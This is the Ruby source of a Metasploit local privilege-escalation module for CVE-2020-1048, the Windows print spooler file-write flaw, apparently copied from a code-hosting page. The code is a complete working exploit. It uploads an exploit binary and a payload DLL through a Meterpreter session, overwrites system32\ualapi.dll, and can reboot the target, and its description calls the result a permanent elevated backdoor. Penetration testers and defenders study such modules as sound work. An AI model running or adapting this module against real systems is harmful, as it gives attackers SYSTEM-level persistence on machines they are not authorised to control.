197 lines
7.5 KiB
Ruby
197 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
|
|
'Description' => %q{
|
|
This exploit leverages a file write vulnerability in the print spooler service
|
|
which will restart if stopped. Because the service cannot be stopped long
|
|
enough to remove the dll, there is no way to remove the dll once
|
|
it is loaded by the service. Essentially, on default settings, this module
|
|
adds a permanent elevated backdoor.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Yarden Shafir', # Original discovery
|
|
'Alex Ionescu', # Original discovery
|
|
'shubham0d', # PoC
|
|
'bwatters-r7' # msf module
|
|
],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Targets' => [
|
|
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2019-11-04',
|
|
'References' => [
|
|
['CVE', '2020-1048'],
|
|
['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']
|
|
],
|
|
'DefaultOptions' => {
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_OS_RESTARTS ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_delete_file
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('EXPLOIT_NAME',
|
|
[true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
|
|
OptString.new('PAYLOAD_NAME',
|
|
[true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
|
|
OptString.new('WRITABLE_DIR',
|
|
[false, 'Path to write binaries (%TEMP% by default).', nil]),
|
|
OptString.new('OVERWRITE_DLL',
|
|
[false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),
|
|
OptBool.new('RESTART_TARGET',
|
|
[true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),
|
|
OptInt.new('EXECUTE_DELAY',
|
|
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
|
|
])
|
|
end
|
|
|
|
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit: false)
|
|
# Upload Exploit
|
|
if target_arch == ARCH_X86
|
|
vprint_status('Using x86 binary')
|
|
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')
|
|
else
|
|
vprint_status('Using x64 binary')
|
|
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')
|
|
end
|
|
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
|
|
if file?(exploit_path)
|
|
print_error("#{exploit_path} already exists")
|
|
return false unless force_exploit
|
|
end
|
|
fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?
|
|
write_file(exploit_path, exploit_bin)
|
|
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
|
|
|
|
# Run Exploit
|
|
vprint_status('Running Exploit')
|
|
begin
|
|
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")
|
|
rescue Rex::TimeoutError => e
|
|
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
|
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
|
|
end
|
|
output
|
|
end
|
|
|
|
def exploit
|
|
exploit_name = datastore['EXPLOIT_NAME']
|
|
vprint_status("exploit_name = #{exploit_name}")
|
|
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
|
|
payload_name = datastore['PAYLOAD_NAME']
|
|
if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?
|
|
win_dir = session.sys.config.getenv('windir')
|
|
overwrite_target = "#{win_dir}\\system32\\ualapi.dll"
|
|
else
|
|
overwrite_target = datastore['OVERWRITE_TARGET']
|
|
end
|
|
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
|
|
payload_path = "#{temp_path}\\#{payload_name}"
|
|
exploit_path = "#{temp_path}\\#{exploit_name}"
|
|
payload_dll = generate_payload_dll
|
|
|
|
# Check target
|
|
vprint_status('Checking Target')
|
|
validate_active_host
|
|
validate_payload
|
|
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
|
|
|
|
# Upload Payload
|
|
vprint_status('Uploading Payload')
|
|
ensure_clean_destination(payload_path)
|
|
write_file(payload_path, payload_dll)
|
|
print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
|
|
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
|
|
vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")
|
|
sleep(datastore['EXECUTE_DELAY'])
|
|
|
|
# Run the exploit
|
|
output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])
|
|
vprint_status("Exploit output:\n#{output}")
|
|
sleep(1) # make sure exploit is finished
|
|
vprint_status("Removing #{exploit_path}")
|
|
session.fs.file.rm(exploit_path)
|
|
|
|
# Reboot, if desired
|
|
if datastore['RESTART_TARGET']
|
|
sleep(10)
|
|
vprint_status("Rebooting #{sysinfo['Computer']}")
|
|
reboot_command = 'shutdown /r'
|
|
begin
|
|
cmd_exec('cmd.exe', "/c #{reboot_command}")
|
|
rescue Rex::TimeoutError => e
|
|
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
|
|
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
|
|
end
|
|
end
|
|
end
|
|
|
|
def validate_active_host
|
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog('Could not connect to session', error: e)
|
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
end
|
|
|
|
def validate_payload
|
|
vprint_status("Target Arch = #{sysinfo['Architecture']}")
|
|
vprint_status("Payload Arch = #{payload.arch.first}")
|
|
unless payload.arch.first == sysinfo['Architecture']
|
|
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
|
|
end
|
|
end
|
|
|
|
def check
|
|
version = get_version_info
|
|
|
|
vprint_status("OS version: #{version}")
|
|
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def ensure_clean_destination(path)
|
|
return unless file?(path)
|
|
|
|
print_status("#{path} already exists on the target. Deleting...")
|
|
begin
|
|
file_rm(path)
|
|
print_status("Deleted #{path}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
print_error("Unable to delete #{path}")
|
|
end
|
|
end
|
|
end
|